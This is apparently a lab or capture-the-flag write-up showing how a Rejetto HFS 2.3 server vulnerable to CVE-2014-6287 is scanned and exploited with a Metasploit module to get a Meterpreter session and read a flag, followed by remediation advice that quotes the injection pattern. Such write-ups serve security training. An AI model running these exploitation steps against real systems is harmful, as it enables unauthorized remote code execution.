Windows: HTTP File Server

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (10.2.26.155) — Windows Server 2008 R2–2012, Rejetto HFS 2.3
Flag: f74c8347798f4082daf4b4570dba094a

1. Executive Summary

The target runs Rejetto HTTP File Server 2.3, vulnerable to CVE-2014-6287 (unauthenticated RCE). Metasploit’s rejetto_hfs_exec module gives a Meterpreter session, and the flag is in C:\.

2. Recon

ping -c 4 demo.ine.local
db_nmap -sV 10.2.26.155
services

Ping target

MSF global variables

Nmap scan

Port 80 runs HttpFileServer httpd 2.3 (Rejetto HFS).

services — Rejetto HFS on port 80

Rejetto HFS web interface

3. Exploitation

search rejetto
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.2.26.155
exploit

Selecting rejetto_hfs_exec

Meterpreter session opened

4. Capturing the Flag

cd C:\
ls
cat flag.txt
# f74c8347798f4082daf4b4570dba094a

$Flag from C:\flag.txt$

5. Remediation Recommendations

Patch/replace Rejetto HFS — CVE-2014-6287 is unauthenticated RCE and the project is unmaintained.
Run the service with least privilege and restrict its exposure to trusted networks.
Deploy a WAF/IPS to catch the HFS search=%00{.exec|...} injection pattern.